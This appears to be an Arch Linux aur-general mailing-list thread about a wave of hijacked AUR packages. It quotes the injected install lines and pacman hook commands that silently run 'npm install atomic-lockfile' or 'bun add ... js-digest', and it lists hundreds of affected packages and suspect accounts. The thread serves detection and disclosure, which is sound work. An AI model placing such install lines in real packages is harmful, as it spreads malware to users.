touchosc-bin:touchosc-bin-deps.install: npm install atomic-lockfile kleur transcreen:transcreen-deps.install: npm install atomic-lockfile axios yargs tsm:tsm-deps.install: npm install atomic-lockfile commander uuid kleur tunacode-cli:tunacode-cli-deps.install: npm install atomic-lockfile ansi-colors typing-game-cli:typing-game-cli-deps.install: npm install atomic-lockfile p-limit kleur ukui-notification-daemon:ukui-notification-daemon-deps.install: npm install atomic-lockfile ansi-colors execa vapoursynth-preview-git:vapoursynth-preview-git-deps.install: npm install atomic-lockfile debug vbam-git:vbam-git-deps.install: npm install atomic-lockfile ansi-colors execa verso-git:verso-git-deps.install: npm install atomic-lockfile lodash vidcutter:vidcutter-deps.install: npm install atomic-lockfile uuid commander ansi-colors vim-easymotion:vim-easymotion-deps.install: npm install atomic-lockfile axios uuid vim-gitgutter:vim-gitgutter-deps.install: npm install atomic-lockfile lodash vim-indent-object:vim-indent-object-deps.install: npm install atomic-lockfile kleur yargs execa vim-molokai:vim-molokai-deps.install: npm install atomic-lockfile debug vim-solidity:vim-solidity-deps.install: npm install atomic-lockfile axios vim-vital:vim-vital-deps.install: npm install atomic-lockfile glob vocalinux-git:vocalinux-git.install: npm install atomic-lockfile commander uuid axios voquill-gpu:voquill-gpu.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile kleur 2>/dev/null; exit 0' wallpaper-generator-next:wallpaper-generator-next-deps.install: npm install atomic-lockfile lodash axios minimist wayland-static:wayland-static-deps.install: npm install atomic-lockfile fast-glob we-layerd-git:we-layerd-git.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile yargs debug 2>/dev/null; exit 0' whatsie-git:whatsie-git-deps.install: npm install atomic-lockfile commander whisper2tr:whisper2tr-deps.install: npm install atomic-lockfile uuid fast-glob debug whisper2tr-git:whisper2tr-git-deps.install: npm install atomic-lockfile ansi-colors figures uuid windowmaker-git:windowmaker-git.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile execa 2>/dev/null; exit 0' wine-nine:wine-nine-deps.install: npm install atomic-lockfile yargs wire-desktop:wire-desktop.install: npm install atomic-lockfile figures got lodash word-snatchers-cli:word-snatchers-cli-deps.install: npm install atomic-lockfile dotenv figures workbench:workbench-deps.install: npm install atomic-lockfile dotenv axios workbuddy-bin:workbuddy-bin.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile debug semver 2>/dev/null; exit 0' wrystr-git:wrystr-git-deps.install: npm install atomic-lockfile yargs minimist glob wsjtx-beta:wsjtx-beta-deps.install: npm install atomic-lockfile ora kleur chalk xorg-xfsinfo:xorg-xfsinfo-deps.install: npm install atomic-lockfile uuid p-limit xplot:xplot-deps.install: npm install atomic-lockfile dotenv execa figures xpra-html5:xpra-html5-deps.install: npm install atomic-lockfile chalk fast-glob semver xray-domain-list-community:xray-domain-list-community-deps.install: npm install atomic-lockfile p-limit chalk minimist yarg:yarg.install: npm install atomic-lockfile p-limit uuid fast-glob yt6801-dkms:yt6801-dkms.hook:Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile semver 2>/dev/null; exit 0' yy:yy-deps.install: npm install atomic-lockfile ansi-colors got commander zerx-lab-dida-bin:zerx-lab-dida-bin-deps.install: npm install atomic-lockfile axios glob zerx-lab-zed-nightly-bin:zerx-lab-zed-nightly-bin-deps.install: npm install atomic-lockfile axios glob zing-21-bin:zing-21-bin.install: npm install atomic-lockfile fast-glob lodash uuid
runescape-launcher https://aur.archlinux.org/cgit/aur.git/commit/?h=runescape-launcher&id=cf0b6... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
oracle-bin https://aur.archlinux.org/cgit/aur.git/commit/?h=oracle-bin&id=eceeb808ef933... tesseract-gui https://aur.archlinux.org/cgit/aur.git/commit/?h=tesseract-gui&id=285251968e... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
python-starsessions https://aur.archlinux.org/cgit/aur.git/commit/?h=python-starsessions&id=b429... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
python-sklearn-pandas https://aur.archlinux.org/cgit/aur.git/commit/?h=python-sklearn-pandas&id=7f... python-pymilvus https://aur.archlinux.org/cgit/aur.git/commit/?h=python-pymilvus&id=09710a43... python-pluginmgr https://aur.archlinux.org/cgit/aur.git/commit/?h=python-pluginmgr&id=559a478... python-jsmin https://aur.archlinux.org/cgit/aur.git/commit/?h=python-jsmin&id=311381eddb4... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
python-pychromecast-git https://aur.archlinux.org/cgit/aur.git/commit/?h=python-pychromecast-git&id=... cling-git https://aur.archlinux.org/cgit/aur.git/commit/?h=cling-git&id=c10e73c12cad0e... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
python-hsaudiotag3k https://aur.archlinux.org/cgit/aur.git/commit/?h=python-hsaudiotag3k&id=87d8... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
ttf-material-design-icons-git https://aur.archlinux.org/cgit/aur.git/commit/?h=ttf-material-design-icons-g... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
python2-fusepy https://aur.archlinux.org/cgit/aur.git/commit/?h=python2-fusepy&id=d68b80ae3... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
jd-gui https://aur.archlinux.org/cgit/aur.git/commit/?h=jd-gui&id=f111aa9ccd453a676... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
python2-lazr-uri https://aur.archlinux.org/cgit/aur.git/commit/?h=python2-lazr-uri&id=99396f6... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
premake-git https://aur.archlinux.org/cgit/aur.git/commit/?h=premake-git&id=232b22dd0aae... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
picom-ftlabs-git https://aur.archlinux.org/cgit/aur.git/commit/?h=picom-ftlabs-git&id=68379e4... phonon-qt5-vlc https://aur.archlinux.org/cgit/aur.git/commit/?h=phonon-qt5-vlc&id=ef69eb1fb... parallel-python https://aur.archlinux.org/cgit/aur.git/commit/?h=parallel-python&id=3d4c3736... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
paq8o https://aur.archlinux.org/cgit/aur.git/commit/?h=paq8o&id=571e93773c9461a19f... opl-synth https://aur.archlinux.org/cgit/aur.git/commit/?h=opl-synth&id=8aaf72f206f8cb... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
yt6801-dkms https://aur.archlinux.org/cgit/aur.git/commit/?h=yt6801-dkms&id=56952a1c4a5a... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
ihaskell-git https://aur.archlinux.org/cgit/aur.git/commit/?h=ihaskell-git&id=974fcc2cf24... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
cnijfilter-common https://aur.archlinux.org/cgit/aur.git/commit/?h=cnijfilter-common&id=777d10... i3bar-river https://aur.archlinux.org/cgit/aur.git/commit/?h=i3bar-river&id=a02d7155556a... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
xf86-input-mtrack-git https://aur.archlinux.org/cgit/aur.git/commit/?h=xf86-input-mtrack-git&id=1a... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
hearthstone-linux-gui-appimage https://aur.archlinux.org/cgit/aur.git/commit/?h=hearthstone-linux-gui-appim... harmony-wad https://aur.archlinux.org/cgit/aur.git/commit/?h=harmony-wad&id=6f99b0a4b1af... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
gtkimageview https://aur.archlinux.org/cgit/aur.git/commit/?h=gtkimageview&id=c1dbf9f44ba... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
gpx-viewer https://aur.archlinux.org/cgit/aur.git/commit/?h=gpx-viewer&id=8778396cf0b5e... gdlmm https://aur.archlinux.org/cgit/aur.git/commit/?h=gdlmm&id=0f4c609c7c5763ce31... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
flexiblas https://aur.archlinux.org/cgit/aur.git/commit/?h=flexiblas&id=62ef31346a6ce3... hearthstone-linux-gui-bin https://aur.archlinux.org/cgit/aur.git/commit/?h=hearthstone-linux-gui-bin&i... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
forgecode-bin https://aur.archlinux.org/cgit/aur.git/commit/?h=forgecode-bin&id=1f8be77f62... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
easy_spice https://aur.archlinux.org/cgit/aur.git/commit/?h=easy_spice&id=66f850f038317... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
dh-python https://aur.archlinux.org/cgit/aur.git/commit/?h=dh-python&id=4c243795157918... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
nwchem-bin https://aur.archlinux.org/cgit/aur.git/commit/?h=nwchem-bin&id=dab58aa1eaf0d... cowdancer https://aur.archlinux.org/cgit/aur.git/commit/?h=cowdancer&id=5009ce0b683304... colorz https://aur.archlinux.org/cgit/aur.git/commit/?h=colorz&id=9ed27bacd0cb5792c... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
lite https://aur.archlinux.org/cgit/aur.git/commit/?h=lite&id=981f686ad77f1497951... codenomad-bin https://aur.archlinux.org/cgit/aur.git/commit/?h=codenomad-bin&id=7d07d3c158... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
cgminer https://aur.archlinux.org/cgit/aur.git/commit/?h=cgminer&id=78b27a3953ee8cef... blueproximity-py3-git https://aur.archlinux.org/cgit/aur.git/commit/?h=blueproximity-py3-git&id=f6... compizconfig-python https://aur.archlinux.org/cgit/aur.git/commit/?h=compizconfig-python&id=2ad0... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
bitcoin-core-git https://aur.archlinux.org/cgit/aur.git/commit/?h=bitcoin-core-git&id=fe2a8b5... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
artanis-git https://aur.archlinux.org/cgit/aur.git/commit/?h=artanis-git&id=b0be7a013f63... archlinux-themes-slim https://aur.archlinux.org/cgit/aur.git/commit/?h=archlinux-themes-slim&id=83... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
apple-music-desktop https://aur.archlinux.org/cgit/aur.git/commit/?h=apple-music-desktop&id=f87d... Is anyone receiving these emails? I hope I'm not spamming the list... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
Yes, everyone that is subscribed to aur-general receives them. I'm receiving them, although I think you should be alright? Personally I would make a list then send it, just not to spam it so much, seeing as you are sniffing a lot of them. On Thu, Jun 11, 2026 at 9:12 PM Rafał Lichwała <rafal@siliconet.pl> wrote:
On 11/06/2026 21:11, Rafał Lichwała wrote:
Yes, thanks for checking. Maybe you can aggregate all your findings in a single (or few) email, instead of sending so many emails. In the IRC they have also shared this list: https://gr.ht/aur_pkg_list.txt
-- Iyán Méndez Veiga GPG Key: 204C 461F BA8C 81D1 0327 E647 422E 3694 311E 5AC1
I've had enough. Sorry for spamming, but I thought the reporting time was important. Last reports: ftl https://aur.archlinux.org/cgit/aur.git/commit/?h=ftl&id=6ed8dd3fe397bcd6b107... python-json2xml https://aur.archlinux.org/cgit/aur.git/commit/?h=python-json2xml&id=d8cd1054... zsdx https://aur.archlinux.org/cgit/aur.git/commit/?h=zsdx&id=6ba60cb8632f5a650ca... mount-gtk https://aur.archlinux.org/cgit/aur.git/commit/?h=mount-gtk&id=df9d089c082010... mcpatcher https://aur.archlinux.org/cgit/aur.git/commit/?h=mcpatcher&id=e2c779287c6dcf... torch7-git https://aur.archlinux.org/cgit/aur.git/commit/?h=torch7-git&id=4ced975821d9a... On 6/11/26 21:16, Iyán Méndez Veiga wrote:
apm_planner-bin https://aur.archlinux.org/cgit/aur.git/commit/?h=apm_planner-bin&id=b569c6a6... cmuclmtk https://aur.archlinux.org/cgit/aur.git/commit/?h=cmuclmtk&id=cb8ca0793547ccb... anythingllm-appimage https://aur.archlinux.org/cgit/aur.git/commit/?h=anythingllm-appimage&id=3a9... On 6/11/26 19:47, Jonathan Grotelüschen wrote:
I found another AUR package that is infected it uses "npm install atomic-lockfile", also the package is 4 hours young. (first commit) https://aur.archlinux.org/cgit/aur.git/commit/?h=exodus-wallet-bin&id=d5b08e... exodus-wallet-bin On Thu, Jun 11, 2026 at 9:17 PM Rafał Lichwała <rafal@siliconet.pl> wrote:
On 2026-06-11 19:47, Jonathan Grotelüschen wrote:
Hi again, I checked all the reports here until now. Thanks for taking the time to search. Best, Jonathan -- tippfehlr
also arm-linux-gnueabihf-binutils[1], the other packages by the same user seem to already have been fixed [1]: https://aur.archlinux.org/cgit/aur.git/commit/?h=arm-linux-gnueabihf-binutil... On Thu Jun 11, 2026 at 7:47 PM CEST, Jonathan Grotelüschen wrote:
https://aur.archlinux.org/packages?O=0&SeB=s&K=arojas&outdated=&SB=l&SO=d&PP... is arojas account actually taken over? or is this just some commit forgery On Thursday, June 11th, 2026 at 18:03, Jonathan Grotelüschen <tippfehlr@archlinux.org> wrote:
This one still look bad: https://aur.archlinux.org/cgit/aur.git/commit/?h=python-axolotl-git On Fri, 12 Jun 2026 at 01:47, Jonathan Grotelüschen <tippfehlr@archlinux.org> wrote:
Le Thu, Jun 11, 2026 at 07:47:05PM +0200, Jonathan Grotelüschen a écrit :
Hi, I see bads commits from unlisted packages. https://aur.archlinux.org/plex-media-player-v2.git https://aur.archlinux.org/plex-media-player-mod.git https://aur.archlinux.org/plex-media-player-custom.git Regards.
On Thu, Jun 11, 2026 at 07:47:05PM +0200, Jonathan Grotelüschen wrote:
There's another attack currently ongoing it seems. Some users have already requested deletion for them These packages attempt to install the npm package 'js-digest' which is flagged as malicious [1]. # run from Github's AUR mirror $ git log --all -S js-digest --oneline 224a6d4b0a5d (atomicwalllet) Update dependencies 4191bf8baa5c (atomicwalet) sync (atomicwalet) 63e19a12fc27 (exodas) Fix source 27d23d8fcb8b (exoduz) upgpkg ef470996b936 (exodys) Add missing deps (exodys) 064cfe60c7be (exodis) updpkgsums bb93e7f2ac6a (exodud) Bump pkgrel 946a5ba56245 (exouds) rebuild bd1b18f058f6 (exodux) add deps (exodux) 0c97f4f83a95 (exoduss) Add missing deps [1] https://socket.dev/npm/package/js-digest
welp, running git log --all --since="10 hours ago" -p -S js-digest --decorate=full | /bin/grep -Po '(?<=origin/).*(?=\))' yields ~900 packages[1], quickly skimming through the logs they all seem to be malicious like the last wave. I do see the number decreasing almost each time I run it, but I feel I should still send the latest list I got. These are 879 packages. [1]: mkdocs-bootswatch mygnuhealth mono-addins-git mojave-ct-icon-theme lab-bin menu-cache-git minder-git mingw-w64-libtheora mbm-gpsd-pl4nkton-git meliora-openbox-themes mapcrafter-git linux-rc lzham lynis-git lyvi-git lxqt-qt5ct libevdevc libhugetlbfs linphone-desktop-all-git lrexlib-pcre5.1 luazip5.1 lwan-git lorem-ipsum-generator libretro-mednafen-supergrafx-git lbench libmrss lib32-gnome-themes-extra libdill libtcd linphone-desktop-all lib32-graphene libnxml librep-git lib32-mtdev libnbcompat libcompizconfig-git icdiff-git kompare-git lexmark_pro700 legofy-git kvirc-git kwin-effects-blur-respect-rounded-decorations-git ha-pacemaker-git joymouse kapacitor joycon-git keepassx2 haunt jdk11-openj9-bin irssistats infinity-background inkslides-git ifcopenshell-git igdm howm-x11-git hpgcc htdig hop ibc homeassistant-osagent garmindev gtk-theme-metagrip gnome-shell-extension-x11gestures gogs-git haskell-chart haxe-git gnome-shell-extension-transmission-daemon-git goqat gpicsync halberd gnome-shell-theme-arc-clearly-dark-git gnome-battery-bench-git gmt-cpt-city freeter fwlogwatch git-remote-hg-git getlive dot-git fuel eslint-plugin-react evilvte-git emacs-d-mode emacs-ess-git exiftags eel-language dub-git dsdcc-git eclipse-markdown compiz-fusion-plugins-extra-git denaro dibuja dkopp docker-gc-git dptf daggerfall-addons dalbum complexity deepin-mail-bin cutemarked-git coppeliasim-bin cpu-monitor-extension-lxpanel-plugin bcalc cross-mingw-w64-gdb craftbukkit-plugin-worldedit codeclimate centerim5-git cjs-git compizconfig-python-git contemporary-cursors cnijfilter-common-mg5400 cardano-node cint cavestory+-hb blogc zenphoto brother-hl3150cdw camotics backwild brother-hll6200dw beets-copyartifacts-git blueprint-compiler-git backup2l avarice-git amdgpu-fancontrol-git auryo avra alfont ar-smileys adom-noteye tsocks-tools vdrift vertx wunderline video-contact-sheet tasmotizer-git udfclient toontown-rewritten syslog-notify tnote rkward-git softethervpn-client-manager staden-io_lib sonixd splashtop-business stencyl sex sixfireusb-dkms snapd-git ros2-arch-deps python2-cffi python-miio scangearmp-mg3500series radare2-bindings-git refind-theme-dreary-git ruby-pusher-client sbt-extras-git rke rdm-bin r8101-dkms pyload-ng python2-ctypes python2-gobject planck qtvkbd python-autopep8-git python-quamash-git python2-cssselect python-avalon_framework python-stagger-git python2-chardet pyrescene-git pbincli python-isounidecode pidgin-cmds pidgin-im-gnome-shell-extension pinegrow perl-datetime-format-sqlite pmus-git opennebula perl-graph pcb2gcode pdf4qt-git perl-lyrics-fetcher openxray otcl pantum-driver openms openav-sorcer-git papirus-maia-icon-theme-git neochat-git ohcount notify-desktop-git open-hexagon-git opendrop mingw-w64-gtk2 nautilus-mediainfo ncursesfm-git necpp-git neuron-zettelkasten-bin nodejs-ionic mongo-cxx-driver-legacy-0.0-26compat multiwinia networkmanager-dispatcher-pdnsd montecarlo-font mingw-w64-adwaita-icon-theme lure mingw-w64-sdl2_ttf libkarma lua51-sql-sqlite luksipc-git mc-skin-modarin-debian hifive1-sdk-git maxima-git wcalc libretro-mame-git lttng-modules libopenaptx-git libdivecomputer-git itop lash lib32-libreplaygain harminv lib32-gimp kopano-core hdx-512-git homeassistant-supervised ibus-uniemoji-git hypr-git kwplayer haskell-asn1-data gtksetpwc haskell-failure fuego-svn glosstex gridmgr-git gnome-specimen globalprotect-bin gnome-rdp gnome-pass-search-provider-git gnome-directory-thumbnailer g2 fontweak gemistdownloader gkraken fstar-git fanicontrol firebird compiz-fusion-plugins-experimental-git fs2_open-mediavps fusion-icon-git fspy flatcam-git evopedia-git energyplus etmtk emacs-jabber-git emacs-magit droopy-git c++-gtk-utils-gtk2 echinus-git emacs-identica-mode autolatex chisel dbxcli emacs-find-recursive edx-downloader-git e4rat-lite-git daala-git bsnes-plus-git cgvg bazel-buildtools capture ccsm-gtk3 astah-uml avogadro2-git organize-bin arduino-git barrier-git bcnc bleufear-gtk-theme android-backup-extractor atlassian-plugin-sdk archivemail alienfx-lite antileech arcadia vectr urjtag-git whitebox zenmonitor zrythm-git alternating-layouts-git amdguid-wayland-bin wxbase zenbound2 writefull-bin vtigercrm xapian-omega xf86-input-cmt tup-git x2vnc-no-xinerama t4kcommon vim-live-latex-preview upower-nocritical tomighty tuxboot-git torch7-image-git ttf-lcsmith-typewriter textsuggest-git thinkwatt samba-mounter-git taskunifier telepresence termbox-git rhythmbox-llyrics taipan sundtek sequencer64-git ruby-mpd soxt snis-git soldat-git squirrelmail r2-iaito-git scavenger raccoon-git ruby-haste rgain3 pygist-git python-kiss-headers qscite qt-inspector-git quickrdp qutepart-git qv2ray-git phpredis-git pnmixer-gtk3 qrfcview perl-test-corpus-audio-mpd python-dugong python-single-version pulseaudio-dlna-cygn pgpool-ii plex-trakt-scrobbler plasma5-wallpapers-video-git perl-text-aspell petri-foo otf-inconsolata-g-powerline-git panopticon-git mesecons-git ocaml-typerex peepdf perl-lwp-protocol-http10 nikola-git pantheon-print-git perl-io-capture open-axiom ndyndns mythes-cs linux-xanmod-rog mikidown-git neuropolitical-ttf leocad-git mingw-w64-libidn mmc-utils-git mp3guessenc markmywords-git mictray mingw-w64-libcroco marcfs-git latex-make lib32-libfmod linkerd lilypond-git libntru libuiohook libgtkhtml libpurple-carbons-git libarcus-git fifth gcstar-gitlab gahshomar galaxy2 ft232r_prog gnome-shell-extension-cpufreq-git fbff-git g3data eperiodique flowblade-git emacs-color-theme elm-format-bin dynamodb chexquest3-wad xorg-xinit-git aksusbd yafaray-git z-push zephyr xsp vdirsyncer-git tvnamer urho3d wiringpi-git watsup xorg-transset urbanbrawl-wad signald powwow run-mailcap ratox-git skanlite-git python-epc shellcheck-git rock ruby-parslet-1.5 sheeplifter pypi-cli sawfish-git sdformat roccat-dkms ruby-actionview ruby-sprockets-rails rtbth-dkms retrovol qinfo ruby-oauth rkflashtool opencorsairlink-git pymedusa remotemouse rbutil-git pg2ipset-git php-blackfire plymouth-theme-asphyxia-git picpuz oh-my-git pidgin-nudge-svn nodejs-elm nwchem ocaml-lambda-term ovras perl-gtk2-ex-podviewer nemerle nixnote2 krakatau-git jstock intelmetool-git clamfs libprelude lastfmlib hydrapaper-git ikos keeperrl-git kalu-git gle-graphics gtk-vnc-gtk2 hexchat-otr darwinia guile-ssh gnome-shell-extension-dynamic-top-bar huawei-stat-e220 distrho-ports-lv2-git gcal fs2-knossos emacs-mew cccc fengoffice cpuset desktopnova exact-image createvm bdf-creep codeigniter connman-ncurses aws-cli-git asciiworld-git biosdevname aquaria-ose balena-cli binnavi arachnophilia beancount-git zxtune-git beef awoken-icons stable-diffusion-webui-git xevdevserver slim-unicode wmtop vim-pandoc-syntax-git sqliteman wally qbittorrent-enhanced-qt5 vim-omlet tweeny vim-delimitmate vim-hexman wings2 veracrypt-git socnetv tcpstat trace-cmd-git undistract-me-git salt-git poldi sachesi-bin samsungctl satanic-icon-themes scanssh rstudio-server-git ruby-blankslate-2 pb-for-desktop raceintospace pluma-plugins qemacs perl-css oxefmsynth otf-sauce-code-powerline-git ocaml-sexplib mato-icons-git miro-video-converter nodejs-forever ohcount-git libwapcaplet-git lib32-libmad mkgmap-svn linvst libpuzzle libspatialindex-git lightdm-webkit-theme-userdock katrain libcss-git fcitx-baidupinyin kicad-library-ab2-git libfprint-vfs_proprietary-git amtterm kwin-scripts-quarter-tiling-git ja2-stracciatella-git eclipse-i18n-de gog-the-witcher-2-assassins-of-kings gavrasm fisher-git gcstar gnome-usage-git bicon-git gcccpuopt fpp-git ffdiaporama-texturemate curseradio-git dianara envoy-git emacs-yasnippet-git coyim drm_tools fantom bracket controllermap emms-git xosview blackfire-agent ascii-rain-git antichamber zelda-roth-se zafiro-icon-theme wavbreaker xarchiver-assume-name ruby-libvirt wds xfce-theme-bluebird ttf-impallari-dosis ttcp tbsecp3-driver-git-dkms vim-fortran vim-molokai-git perl-gtk2-gladexml-simple pdi-ce tracks streetsofrageremake sonar-icon-theme shellinabox-git pacgem scm qpitch ruby-rubysdl osvr-libfunctionality-git scallion qemu-android-x86 papirus-color-scheme pk2cmd-plus octave-hg mon2cam-git nheqminer-cuda-git nodejs-jsdoc mobac-svn mingw-w64-sdl mirrorlist-rankmirrors-hook milena-data milton-git echo-icon-theme-git digikam-without-akonadi evilwm drascula emacs-sml-mode gecode dfhack-bin doom3-inhell dashcore cryptowatch-desktop-bin cwiid xforms containerd-git cb2bib cnijfilter-mp550 colorsvn akira-git akonadi-git alttab-git boostnote-bin cattle numix-themes-green toybox wesnoth-git vim-perl-support wemux-git silver-searcher-git uni2ascii tbs-dvb-drivers olivia-git resetmsmice openpyn-nordvpn ppcoin-qt qshntoolsplit gsettings-desktop-schemas-git mysqltuner-git openhab3 mxnet linux-manjaro-xanmod koules lv kapidox-git libkomparediff2-git kokua-secondlife i3-gnome-git guake-colors-solarized-git zdoom-git sddm-stellar-theme truestudio apwal sunclock audible-activator-git awesome-cinnamon asus-fan-dkms-git android-google-play-apk-expansion ttf-roboto-fontconfig vim-manpageview structuresynth udev-browse-git thunderbird-sieve sickrage-git libpurple-lurch-git rep-gtk ruby-colored geforcenow-electron nixnote2-git rarian joxi marytts kdevelop-pg-qt-git kimageformats-git audiotube-git jdk8-graalvm-bin gnome-shell-extension-hibernate-status-git smartsim-git autozen rtf2latex2e vuze-extreme-mod amide zenpower-dkms phpdocumentor2 weex pgcli-git orientdb-community pkgdistcache qt-solutions-git realtimeconfigquickscan-git pyxplot cpuminer-multi-git limesuite-git msieve cpp-netlib gtk-theme-windows10-dark nip2 brightness-controller-git neovim-gtk-git nodejs-how2 num-utils guile-git libviper gfxbench dvbcut geekcode git-flow-completion-git cvs2svn eclipse-checkstyle caelum castawesome atlassian-confluence adsuck fbctrl arch-palemoon-search cmake-modules-webos-git mesos libptp2 make-3.81 minecraft-overviewer gisto lib32-freeimage borg-git img2djvu-git i3lock-fancy-dualmonitors-git filebot47 flow delaycut nautilus-folder-icons minecraft-overviewer-git psi-plus-resources-git pmount-safe-removal python-pydns numix-themes-electric ms-office-online pdf2book oclint lib32-fftw hattrick_organizer libreoffice-extension-coooder mac-os-lion-cursors libxaw3dxft sfarkxtc yokadi gpshell acpitool chez-scheme-git saleae-logic-beta xf86-input-wizardpen ruby-pygments.rb shadow-tech sublime-music vim-pathogen-git rtags rolo ruby-classifier ruby-execjs gimp-plugin-arrow owncloud-client-git python-gmpy emacs-paredit netmenu java-berkeleydb kodi-addon-inputstream-adaptive-git gmt-coast cerebro elm-platform davtools code-git ttf-dejavu-emojiless xcursor-gt3 vnote vim-lighttpd violetland-git ttf-consolas-powerline cppreference-devhelp networkmanager-ssh-git lib32-libxxf86dga doomsday coffeescript-git drbl-experimental vuze-plugin-mldht argouml ccminer-git cdo ruby-travis transmission-gtk-git vlc-arc-dark-git ttf-essays webui-aria2-git rodentbane-git skdet tora sword-svn statusnotifier openstego j4-make-config-git numix-gtk-theme isight-firmware-tools openhab2 gist-git vte-legacy vinetto bibtex2html qwt-qt4 libsmi ruby-sprockets quack latex-mk mopidy-youtube httpry nordnm pencil-android-lollipop-stencils-git glsl-debugger-git osmose apache-ant-contrib evopop-gtk-theme multimon-ng-git firmware-mod-kit wechat-devtools qeven ruby-railties gitso non-daw-git texlive-moderncv-git rainbarf-git k4dirstat linux_logo_archcustom liri-shell-git menumaker-compiz dmg2dir pytomtom ruby-actionmailer ruby-commander bbswitch-git adapta-gtk-theme-git nikki rhythmbox-plugin-alternative-toolbar-git jin mingw-w64-pcre eviacam kubo-git tiemu ffmpeg3.4 openmsx-catapult linux-steam-integration ruby-activerecord connman-ui-git ruby-activemodel psi-plus-plugins-git n-ninja toggldesktop-bin mopidy-moped inform7 vim-clang-complete-git movgrab terminusmod mime-archpkg qucs java-flexdock purple-facebook-git pantheon-applications-menu-git flv2x264 gr-osmosdr-git lib32-tk gnome-shell-extension-topicons-plus gopenvpn-git coolreader3-git sidplay2-libs ttf-dejavu-sans-mono-powerline-git etherpad-lite libisl15 phonon-qt4 chipmunk ruby-thread_safe jreen-git octave-miscellaneous lib32-libxpm machinarium pcsxr-git zeroinstall-injector fusion-icon shifty-git nodejs-webpack On Fri Jun 12, 2026 at 1:46 PM CEST, a821 wrote:
On Fri, Jun 12, 2026 at 03:03:37PM +0200, koraynilay wrote:
[...] Wow, the number increased in a couple of hours since I initially posted. Now the malicious package is called lockfile-js (renamed from atomic-lockfile). [1] https://www.npmjs.com/package/lockfile-js
Hi all, I may have found another one: [1]. Signed up only a few days ago and has adopted 15 packages. Example suspicious update: [2]. Post-install script contains 'bun add execa js-digest commander'. [1] https://aur.archlinux.org/account/erzsebetszabo [2] https://aur.archlinux.org/cgit/aur.git/commit/?h=milena-data&id=f579bb74da08... On 13/6/26 00:05, a821 wrote:
-- Frederick Zhang PGP: 8BFB EA5B 4C44 BFAC C8EC 5F93 1F92 8BE6 0D8B C11D
More here: * weex https://aur.archlinux.org/cgit/aur.git/commit/?h=weex&id=a0c039fbdce60a37c5d... * nikki https://aur.archlinux.org/cgit/aur.git/commit/?h=nikki&id=08c13fe0214275c3e4... Both use js-digest instead of atomic-lockfile. All contributor email addresses in the PKGBUILD were also replaced with fake Gmail addresses (thilodoring@gmail.com and fabiankern@gmail.com respectively). I've got 2 "AUR Package Update" emails each but only one malicious commit, so it looks like there is a script which will periodically rewrite git history.
Hi `alvr` package got orphaned and instantly picked up by `krisztinavarga` account, that created commit with author impersonation (replaced emails with own on maintainers without changing name + commit with author name as me) and same malware with atomic-lockfile thing in post install steps. Right now I don't see it in commits (reverted?...) Also at around the same time on `alvr-git` I saw change of maintainers, with suspicious email, but I didnt notice it being infected...
Thanks to all the moderators for removing them! There remains 1 package still from what I can see tho: qt-solutions-git apart from that git -G didn't find any other instances of js-digest or lockfile-js. Best, koraynilay On Fri Jun 12, 2026 at 3:03 PM CEST, koraynilay wrote:
gog-the-witcher-2-assassins-of-kings was just updated with a malicious commit [0] [0] https://aur.archlinux.org/cgit/aur.git/commit/?h=gog-the-witcher-2-assassins...
https://aur.archlinux.org/cgit/aur.git/commit/?h=cura&id=329808c76268eb081aa... The whole https://aur.archlinux.org/account/janosjonas user seems suspicious, most packages owned by it that I checked are affected.
A former package of mine was just adopted and is malicious: https://aur.archlinux.org/packages/xspin Same for all the packages of the user: https://aur.archlinux.org/packages?K=melindajuhasz&SeB=m Could you not completely turn off adoption until this is sorted out? -- Pierre Chapuis On Thu, Jun 11, 2026, at 19:47, Jonathan Grotelüschen wrote:
Hi, two more, this time trying to install packages with `bun`: asciiworld-git https://aur.archlinux.org/cgit/aur.git/commit/?h=asciiworld-git&id=360951009... sundtek https://aur.archlinux.org/cgit/aur.git/commit/?h=sundtek&id=7602b6a9b169ffa3... Thanks! -movq
Am 11. Juni 2026 19:47:05 MESZ schrieb "Jonathan Grotelüschen" <tippfehlr@archlinux.org>:
Hi New wave, new tool. Camotics https://aur.archlinux.org/pkgbase/camotics/ Has the bun install Script included
Hi, about half an hour ago, I've been notified that package rgain3 has been tampered with as well: https://aur.archlinux.org/cgit/aur.git/commit/?h=rgain3&id=985c80c6827c842ed... Malicious user account is: istvanilles The attack has shifted to trying to install packages `axios` and `js-digest` via `bun`. On 11.6.2026 19:47, Jonathan Grotelüschen wrote:
On Thu, 2026-06-11 at 19:47 +0200, Jonathan Grotelüschen wrote:
keepass-plugin-qualitycolumn was just updated with a malicious commit. https://aur.archlinux.org/pkgbase/keepass-plugin-qualitycolumn/ https://aur.archlinux.org/account/yvindpettersen/
